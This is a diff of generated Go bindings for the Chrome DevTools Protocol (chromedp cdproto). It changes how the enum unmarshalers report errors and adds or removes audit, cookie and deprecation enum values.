@@ -143,8 +142,7 @@ func (t ValueSourceType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ValueSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ValueSourceType(v) {
|
||||
switch ValueSourceType(in.String()) {
|
||||
case ValueSourceTypeAttribute:
|
||||
*t = ValueSourceTypeAttribute
|
||||
case ValueSourceTypeImplicit:
|
||||
@@ -159,7 +157,7 @@ func (t *ValueSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ValueSourceTypeRelatedElement
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ValueSourceType value: %v", v))
|
||||
in.AddError(errors.New("unknown ValueSourceType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -205,8 +203,7 @@ func (t ValueNativeSourceType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ValueNativeSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ValueNativeSourceType(v) {
|
||||
switch ValueNativeSourceType(in.String()) {
|
||||
case ValueNativeSourceTypeDescription:
|
||||
*t = ValueNativeSourceTypeDescription
|
||||
case ValueNativeSourceTypeFigcaption:
|
||||
@@ -229,7 +226,7 @@ func (t *ValueNativeSourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ValueNativeSourceTypeOther
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ValueNativeSourceType value: %v", v))
|
||||
in.AddError(errors.New("unknown ValueNativeSourceType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -350,8 +347,7 @@ func (t PropertyName) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PropertyName) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PropertyName(v) {
|
||||
switch PropertyName(in.String()) {
|
||||
case PropertyNameBusy:
|
||||
*t = PropertyNameBusy
|
||||
case PropertyNameDisabled:
|
||||
@@ -432,7 +428,7 @@ func (t *PropertyName) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = PropertyNameOwns
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PropertyName value: %v", v))
|
||||
in.AddError(errors.New("unknown PropertyName value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+3
-4
@@ -3,7 +3,7 @@ package animation
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/mailru/easyjson"
|
||||
@@ -88,8 +88,7 @@ func (t Type) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *Type) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch Type(v) {
|
||||
switch Type(in.String()) {
|
||||
case TypeCSSTransition:
|
||||
*t = TypeCSSTransition
|
||||
case TypeCSSAnimation:
|
||||
@@ -98,7 +97,7 @@ func (t *Type) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = TypeWebAnimation
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown Type value: %v", v))
|
||||
in.AddError(errors.New("unknown Type value"))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
-7
@@ -1465,8 +1465,6 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAudits12(in *jlexer.Lexer, ou
|
||||
(out.ErrorType).UnmarshalEasyJSON(in)
|
||||
case "frameId":
|
||||
(out.FrameID).UnmarshalEasyJSON(in)
|
||||
case "violatingNodeId":
|
||||
(out.ViolatingNodeID).UnmarshalEasyJSON(in)
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -1491,11 +1489,6 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAudits12(out *jwriter.Writer,
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.FrameID))
|
||||
}
|
||||
if in.ViolatingNodeID != 0 {
|
||||
const prefix string = ",\"violatingNodeId\":"
|
||||
out.RawString(prefix)
|
||||
out.Int64(int64(in.ViolatingNodeID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+76
-107
@@ -3,7 +3,7 @@ package audits
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"errors"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/cdproto/network"
|
||||
@@ -51,14 +51,13 @@ func (t CookieExclusionReason) String() string {
|
||||
|
||||
// CookieExclusionReason values.
|
||||
const (
|
||||
CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax CookieExclusionReason = "ExcludeSameSiteUnspecifiedTreatedAsLax"
|
||||
CookieExclusionReasonExcludeSameSiteNoneInsecure CookieExclusionReason = "ExcludeSameSiteNoneInsecure"
|
||||
CookieExclusionReasonExcludeSameSiteLax CookieExclusionReason = "ExcludeSameSiteLax"
|
||||
CookieExclusionReasonExcludeSameSiteStrict CookieExclusionReason = "ExcludeSameSiteStrict"
|
||||
CookieExclusionReasonExcludeInvalidSameParty CookieExclusionReason = "ExcludeInvalidSameParty"
|
||||
CookieExclusionReasonExcludeSamePartyCrossPartyContext CookieExclusionReason = "ExcludeSamePartyCrossPartyContext"
|
||||
CookieExclusionReasonExcludeDomainNonASCII CookieExclusionReason = "ExcludeDomainNonASCII"
|
||||
CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet CookieExclusionReason = "ExcludeThirdPartyCookieBlockedInFirstPartySet"
|
||||
CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax CookieExclusionReason = "ExcludeSameSiteUnspecifiedTreatedAsLax"
|
||||
CookieExclusionReasonExcludeSameSiteNoneInsecure CookieExclusionReason = "ExcludeSameSiteNoneInsecure"
|
||||
CookieExclusionReasonExcludeSameSiteLax CookieExclusionReason = "ExcludeSameSiteLax"
|
||||
CookieExclusionReasonExcludeSameSiteStrict CookieExclusionReason = "ExcludeSameSiteStrict"
|
||||
CookieExclusionReasonExcludeInvalidSameParty CookieExclusionReason = "ExcludeInvalidSameParty"
|
||||
CookieExclusionReasonExcludeSamePartyCrossPartyContext CookieExclusionReason = "ExcludeSamePartyCrossPartyContext"
|
||||
CookieExclusionReasonExcludeDomainNonASCII CookieExclusionReason = "ExcludeDomainNonASCII"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -73,8 +72,7 @@ func (t CookieExclusionReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CookieExclusionReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch CookieExclusionReason(v) {
|
||||
switch CookieExclusionReason(in.String()) {
|
||||
case CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax:
|
||||
*t = CookieExclusionReasonExcludeSameSiteUnspecifiedTreatedAsLax
|
||||
case CookieExclusionReasonExcludeSameSiteNoneInsecure:
|
||||
@@ -89,11 +87,9 @@ func (t *CookieExclusionReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CookieExclusionReasonExcludeSamePartyCrossPartyContext
|
||||
case CookieExclusionReasonExcludeDomainNonASCII:
|
||||
*t = CookieExclusionReasonExcludeDomainNonASCII
|
||||
case CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet:
|
||||
*t = CookieExclusionReasonExcludeThirdPartyCookieBlockedInFirstPartySet
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CookieExclusionReason value: %v", v))
|
||||
in.AddError(errors.New("unknown CookieExclusionReason value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -138,8 +134,7 @@ func (t CookieWarningReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CookieWarningReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch CookieWarningReason(v) {
|
||||
switch CookieWarningReason(in.String()) {
|
||||
case CookieWarningReasonWarnSameSiteUnspecifiedCrossSiteContext:
|
||||
*t = CookieWarningReasonWarnSameSiteUnspecifiedCrossSiteContext
|
||||
case CookieWarningReasonWarnSameSiteNoneInsecure:
|
||||
@@ -162,7 +157,7 @@ func (t *CookieWarningReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CookieWarningReasonWarnDomainNonASCII
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CookieWarningReason value: %v", v))
|
||||
in.AddError(errors.New("unknown CookieWarningReason value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -199,15 +194,14 @@ func (t CookieOperation) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *CookieOperation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch CookieOperation(v) {
|
||||
switch CookieOperation(in.String()) {
|
||||
case CookieOperationSetCookie:
|
||||
*t = CookieOperationSetCookie
|
||||
case CookieOperationReadCookie:
|
||||
*t = CookieOperationReadCookie
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CookieOperation value: %v", v))
|
||||
in.AddError(errors.New("unknown CookieOperation value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -261,8 +255,7 @@ func (t MixedContentResolutionStatus) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *MixedContentResolutionStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch MixedContentResolutionStatus(v) {
|
||||
switch MixedContentResolutionStatus(in.String()) {
|
||||
case MixedContentResolutionStatusMixedContentBlocked:
|
||||
*t = MixedContentResolutionStatusMixedContentBlocked
|
||||
case MixedContentResolutionStatusMixedContentAutomaticallyUpgraded:
|
||||
@@ -271,7 +264,7 @@ func (t *MixedContentResolutionStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = MixedContentResolutionStatusMixedContentWarning
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown MixedContentResolutionStatus value: %v", v))
|
||||
in.AddError(errors.New("unknown MixedContentResolutionStatus value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -333,8 +326,7 @@ func (t MixedContentResourceType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *MixedContentResourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch MixedContentResourceType(v) {
|
||||
switch MixedContentResourceType(in.String()) {
|
||||
case MixedContentResourceTypeAttributionSrc:
|
||||
*t = MixedContentResourceTypeAttributionSrc
|
||||
case MixedContentResourceTypeAudio:
|
||||
@@ -391,7 +383,7 @@ func (t *MixedContentResourceType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = MixedContentResourceTypeXSLT
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown MixedContentResourceType value: %v", v))
|
||||
in.AddError(errors.New("unknown MixedContentResourceType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -444,8 +436,7 @@ func (t BlockedByResponseReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *BlockedByResponseReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch BlockedByResponseReason(v) {
|
||||
switch BlockedByResponseReason(in.String()) {
|
||||
case BlockedByResponseReasonCoepFrameResourceNeedsCoepHeader:
|
||||
*t = BlockedByResponseReasonCoepFrameResourceNeedsCoepHeader
|
||||
case BlockedByResponseReasonCoopSandboxedIFrameCannotNavigateToCoopPage:
|
||||
@@ -458,7 +449,7 @@ func (t *BlockedByResponseReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = BlockedByResponseReasonCorpNotSameSite
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown BlockedByResponseReason value: %v", v))
|
||||
in.AddError(errors.New("unknown BlockedByResponseReason value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -507,15 +498,14 @@ func (t HeavyAdResolutionStatus) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *HeavyAdResolutionStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch HeavyAdResolutionStatus(v) {
|
||||
switch HeavyAdResolutionStatus(in.String()) {
|
||||
case HeavyAdResolutionStatusHeavyAdBlocked:
|
||||
*t = HeavyAdResolutionStatusHeavyAdBlocked
|
||||
case HeavyAdResolutionStatusHeavyAdWarning:
|
||||
*t = HeavyAdResolutionStatusHeavyAdWarning
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown HeavyAdResolutionStatus value: %v", v))
|
||||
in.AddError(errors.New("unknown HeavyAdResolutionStatus value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -553,8 +543,7 @@ func (t HeavyAdReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *HeavyAdReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch HeavyAdReason(v) {
|
||||
switch HeavyAdReason(in.String()) {
|
||||
case HeavyAdReasonNetworkTotalLimit:
|
||||
*t = HeavyAdReasonNetworkTotalLimit
|
||||
case HeavyAdReasonCPUTotalLimit:
|
||||
@@ -563,7 +552,7 @@ func (t *HeavyAdReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = HeavyAdReasonCPUPeakLimit
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown HeavyAdReason value: %v", v))
|
||||
in.AddError(errors.New("unknown HeavyAdReason value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -613,8 +602,7 @@ func (t ContentSecurityPolicyViolationType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ContentSecurityPolicyViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ContentSecurityPolicyViolationType(v) {
|
||||
switch ContentSecurityPolicyViolationType(in.String()) {
|
||||
case ContentSecurityPolicyViolationTypeKInlineViolation:
|
||||
*t = ContentSecurityPolicyViolationTypeKInlineViolation
|
||||
case ContentSecurityPolicyViolationTypeKEvalViolation:
|
||||
@@ -629,7 +617,7 @@ func (t *ContentSecurityPolicyViolationType) UnmarshalEasyJSON(in *jlexer.Lexer)
|
||||
*t = ContentSecurityPolicyViolationTypeKWasmEvalViolation
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ContentSecurityPolicyViolationType value: %v", v))
|
||||
in.AddError(errors.New("unknown ContentSecurityPolicyViolationType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -689,15 +677,14 @@ func (t SharedArrayBufferIssueType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SharedArrayBufferIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch SharedArrayBufferIssueType(v) {
|
||||
switch SharedArrayBufferIssueType(in.String()) {
|
||||
case SharedArrayBufferIssueTypeTransferIssue:
|
||||
*t = SharedArrayBufferIssueTypeTransferIssue
|
||||
case SharedArrayBufferIssueTypeCreationIssue:
|
||||
*t = SharedArrayBufferIssueTypeCreationIssue
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SharedArrayBufferIssueType value: %v", v))
|
||||
in.AddError(errors.New("unknown SharedArrayBufferIssueType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -746,8 +733,7 @@ func (t TwaQualityEnforcementViolationType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *TwaQualityEnforcementViolationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch TwaQualityEnforcementViolationType(v) {
|
||||
switch TwaQualityEnforcementViolationType(in.String()) {
|
||||
case TwaQualityEnforcementViolationTypeKHTTPError:
|
||||
*t = TwaQualityEnforcementViolationTypeKHTTPError
|
||||
case TwaQualityEnforcementViolationTypeKUnavailableOffline:
|
||||
@@ -756,7 +742,7 @@ func (t *TwaQualityEnforcementViolationType) UnmarshalEasyJSON(in *jlexer.Lexer)
|
||||
*t = TwaQualityEnforcementViolationTypeKDigitalAssetLinks
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown TwaQualityEnforcementViolationType value: %v", v))
|
||||
in.AddError(errors.New("unknown TwaQualityEnforcementViolationType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -840,8 +826,7 @@ func (t AttributionReportingIssueType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch AttributionReportingIssueType(v) {
|
||||
switch AttributionReportingIssueType(in.String()) {
|
||||
case AttributionReportingIssueTypePermissionPolicyDisabled:
|
||||
*t = AttributionReportingIssueTypePermissionPolicyDisabled
|
||||
case AttributionReportingIssueTypePermissionPolicyNotDelegated:
|
||||
@@ -866,7 +851,7 @@ func (t *AttributionReportingIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = AttributionReportingIssueTypeTriggerIgnored
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown AttributionReportingIssueType value: %v", v))
|
||||
in.AddError(errors.New("unknown AttributionReportingIssueType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -920,7 +905,6 @@ func (t GenericIssueErrorType) String() string {
|
||||
// GenericIssueErrorType values.
|
||||
const (
|
||||
GenericIssueErrorTypeCrossOriginPortalPostMessageError GenericIssueErrorType = "CrossOriginPortalPostMessageError"
|
||||
GenericIssueErrorTypeFormLabelForNameError GenericIssueErrorType = "FormLabelForNameError"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -935,15 +919,12 @@ func (t GenericIssueErrorType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *GenericIssueErrorType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch GenericIssueErrorType(v) {
|
||||
switch GenericIssueErrorType(in.String()) {
|
||||
case GenericIssueErrorTypeCrossOriginPortalPostMessageError:
|
||||
*t = GenericIssueErrorTypeCrossOriginPortalPostMessageError
|
||||
case GenericIssueErrorTypeFormLabelForNameError:
|
||||
*t = GenericIssueErrorTypeFormLabelForNameError
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown GenericIssueErrorType value: %v", v))
|
||||
in.AddError(errors.New("unknown GenericIssueErrorType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -957,9 +938,8 @@ func (t *GenericIssueErrorType) UnmarshalJSON(buf []byte) error {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-GenericIssueDetails
|
||||
type GenericIssueDetails struct {
|
||||
ErrorType GenericIssueErrorType `json:"errorType"` // Issues with the same errorType are aggregated in the frontend.
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"`
|
||||
ViolatingNodeID cdp.BackendNodeID `json:"violatingNodeId,omitempty"`
|
||||
ErrorType GenericIssueErrorType `json:"errorType"` // Issues with the same errorType are aggregated in the frontend.
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"`
|
||||
}
|
||||
|
||||
// DeprecationIssueType [no description].
|
||||
@@ -997,14 +977,14 @@ const (
|
||||
DeprecationIssueTypeLocalCSSFileExtensionRejected DeprecationIssueType = "LocalCSSFileExtensionRejected"
|
||||
DeprecationIssueTypeMediaSourceAbortRemove DeprecationIssueType = "MediaSourceAbortRemove"
|
||||
DeprecationIssueTypeMediaSourceDurationTruncatingBuffered DeprecationIssueType = "MediaSourceDurationTruncatingBuffered"
|
||||
DeprecationIssueTypeNavigateEventRestoreScroll DeprecationIssueType = "NavigateEventRestoreScroll"
|
||||
DeprecationIssueTypeNavigateEventTransitionWhile DeprecationIssueType = "NavigateEventTransitionWhile"
|
||||
DeprecationIssueTypeNoSysexWebMIDIWithoutPermission DeprecationIssueType = "NoSysexWebMIDIWithoutPermission"
|
||||
DeprecationIssueTypeNotificationInsecureOrigin DeprecationIssueType = "NotificationInsecureOrigin"
|
||||
DeprecationIssueTypeNotificationPermissionRequestedIframe DeprecationIssueType = "NotificationPermissionRequestedIframe"
|
||||
DeprecationIssueTypeObsoleteWebRtcCipherSuite DeprecationIssueType = "ObsoleteWebRtcCipherSuite"
|
||||
DeprecationIssueTypeOpenWebDatabaseInsecureContext DeprecationIssueType = "OpenWebDatabaseInsecureContext"
|
||||
DeprecationIssueTypeOverflowVisibleOnReplacedElement DeprecationIssueType = "OverflowVisibleOnReplacedElement"
|
||||
DeprecationIssueTypePaymentInstruments DeprecationIssueType = "PaymentInstruments"
|
||||
DeprecationIssueTypePaymentRequestCSPViolation DeprecationIssueType = "PaymentRequestCSPViolation"
|
||||
DeprecationIssueTypePersistentQuotaType DeprecationIssueType = "PersistentQuotaType"
|
||||
DeprecationIssueTypePictureSourceSrc DeprecationIssueType = "PictureSourceSrc"
|
||||
DeprecationIssueTypePrefixedCancelAnimationFrame DeprecationIssueType = "PrefixedCancelAnimationFrame"
|
||||
@@ -1043,8 +1023,7 @@ func (t DeprecationIssueType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch DeprecationIssueType(v) {
|
||||
switch DeprecationIssueType(in.String()) {
|
||||
case DeprecationIssueTypeAuthorizationCoveredByWildcard:
|
||||
*t = DeprecationIssueTypeAuthorizationCoveredByWildcard
|
||||
case DeprecationIssueTypeCanRequestURLHTTPContainingNewline:
|
||||
@@ -1091,6 +1070,10 @@ func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = DeprecationIssueTypeMediaSourceAbortRemove
|
||||
case DeprecationIssueTypeMediaSourceDurationTruncatingBuffered:
|
||||
*t = DeprecationIssueTypeMediaSourceDurationTruncatingBuffered
|
||||
case DeprecationIssueTypeNavigateEventRestoreScroll:
|
||||
*t = DeprecationIssueTypeNavigateEventRestoreScroll
|
||||
case DeprecationIssueTypeNavigateEventTransitionWhile:
|
||||
*t = DeprecationIssueTypeNavigateEventTransitionWhile
|
||||
case DeprecationIssueTypeNoSysexWebMIDIWithoutPermission:
|
||||
*t = DeprecationIssueTypeNoSysexWebMIDIWithoutPermission
|
||||
case DeprecationIssueTypeNotificationInsecureOrigin:
|
||||
@@ -1103,10 +1086,6 @@ func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = DeprecationIssueTypeOpenWebDatabaseInsecureContext
|
||||
case DeprecationIssueTypeOverflowVisibleOnReplacedElement:
|
||||
*t = DeprecationIssueTypeOverflowVisibleOnReplacedElement
|
||||
case DeprecationIssueTypePaymentInstruments:
|
||||
*t = DeprecationIssueTypePaymentInstruments
|
||||
case DeprecationIssueTypePaymentRequestCSPViolation:
|
||||
*t = DeprecationIssueTypePaymentRequestCSPViolation
|
||||
case DeprecationIssueTypePersistentQuotaType:
|
||||
*t = DeprecationIssueTypePersistentQuotaType
|
||||
case DeprecationIssueTypePictureSourceSrc:
|
||||
@@ -1157,7 +1136,7 @@ func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = DeprecationIssueTypeXRSupportsSession
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown DeprecationIssueType value: %v", v))
|
||||
in.AddError(errors.New("unknown DeprecationIssueType value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1205,15 +1184,14 @@ func (t ClientHintIssueReason) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ClientHintIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ClientHintIssueReason(v) {
|
||||
switch ClientHintIssueReason(in.String()) {
|
||||
case ClientHintIssueReasonMetaTagAllowListInvalidOrigin:
|
||||
*t = ClientHintIssueReasonMetaTagAllowListInvalidOrigin
|
||||
case ClientHintIssueReasonMetaTagModifiedHTML:
|
||||
*t = ClientHintIssueReasonMetaTagModifiedHTML
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ClientHintIssueReason value: %v", v))
|
||||
in.AddError(errors.New("unknown ClientHintIssueReason value"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1247,15 +1225,14 @@ func (t FederatedAuthRequestIssueReason) String() string {
|
||||
const (
|
||||
FederatedAuthRequestIssueReasonShouldEmbargo FederatedAuthRequestIssueReason = "ShouldEmbargo"
|
||||
FederatedAuthRequestIssueReasonTooManyRequests FederatedAuthRequestIssueReason = "TooManyRequests"
|
||||
FederatedAuthRequestIssueReasonWellKnownHTTPNotFound FederatedAuthRequestIssueReason = "WellKnownHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonWellKnownNoResponse FederatedAuthRequestIssueReason = "WellKnownNoResponse"
|
||||
FederatedAuthRequestIssueReasonWellKnownInvalidResponse FederatedAuthRequestIssueReason = "WellKnownInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonWellKnownListEmpty FederatedAuthRequestIssueReason = "WellKnownListEmpty"
|
||||
FederatedAuthRequestIssueReasonConfigNotInWellKnown FederatedAuthRequestIssueReason = "ConfigNotInWellKnown"
|
||||
FederatedAuthRequestIssueReasonWellKnownTooBig FederatedAuthRequestIssueReason = "WellKnownTooBig"
|
||||
FederatedAuthRequestIssueReasonConfigHTTPNotFound FederatedAuthRequestIssueReason = "ConfigHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonConfigNoResponse FederatedAuthRequestIssueReason = "ConfigNoResponse"
|
||||
FederatedAuthRequestIssueReasonConfigInvalidResponse FederatedAuthRequestIssueReason = "ConfigInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonManifestListHTTPNotFound FederatedAuthRequestIssueReason = "ManifestListHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonManifestListNoResponse FederatedAuthRequestIssueReason = "ManifestListNoResponse"
|
||||
FederatedAuthRequestIssueReasonManifestListInvalidResponse FederatedAuthRequestIssueReason = "ManifestListInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonManifestNotInManifestList FederatedAuthRequestIssueReason = "ManifestNotInManifestList"
|
||||
FederatedAuthRequestIssueReasonManifestListTooBig FederatedAuthRequestIssueReason = "ManifestListTooBig"
|
||||
FederatedAuthRequestIssueReasonManifestHTTPNotFound FederatedAuthRequestIssueReason = "ManifestHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonManifestNoResponse FederatedAuthRequestIssueReason = "ManifestNoResponse"
|
||||
FederatedAuthRequestIssueReasonManifestInvalidResponse FederatedAuthRequestIssueReason = "ManifestInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound FederatedAuthRequestIssueReason = "ClientMetadataHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonClientMetadataNoResponse FederatedAuthRequestIssueReason = "ClientMetadataNoResponse"
|
||||
FederatedAuthRequestIssueReasonClientMetadataInvalidResponse FederatedAuthRequestIssueReason = "ClientMetadataInvalidResponse"
|
||||
@@ -1265,7 +1242,6 @@ const (
|
||||
FederatedAuthRequestIssueReasonAccountsHTTPNotFound FederatedAuthRequestIssueReason = "AccountsHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonAccountsNoResponse FederatedAuthRequestIssueReason = "AccountsNoResponse"
|
||||
FederatedAuthRequestIssueReasonAccountsInvalidResponse FederatedAuthRequestIssueReason = "AccountsInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonAccountsListEmpty FederatedAuthRequestIssueReason = "AccountsListEmpty"
|
||||
FederatedAuthRequestIssueReasonIDTokenHTTPNotFound FederatedAuthRequestIssueReason = "IdTokenHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonIDTokenNoResponse FederatedAuthRequestIssueReason = "IdTokenNoResponse"
|
||||
FederatedAuthRequestIssueReasonIDTokenInvalidResponse FederatedAuthRequestIssueReason = "IdTokenInvalidResponse"
|
||||
@@ -1287,30 +1263,27 @@ func (t FederatedAuthRequestIssueReason) MarshalJSON() ([]byte, error) {
|
||||
|
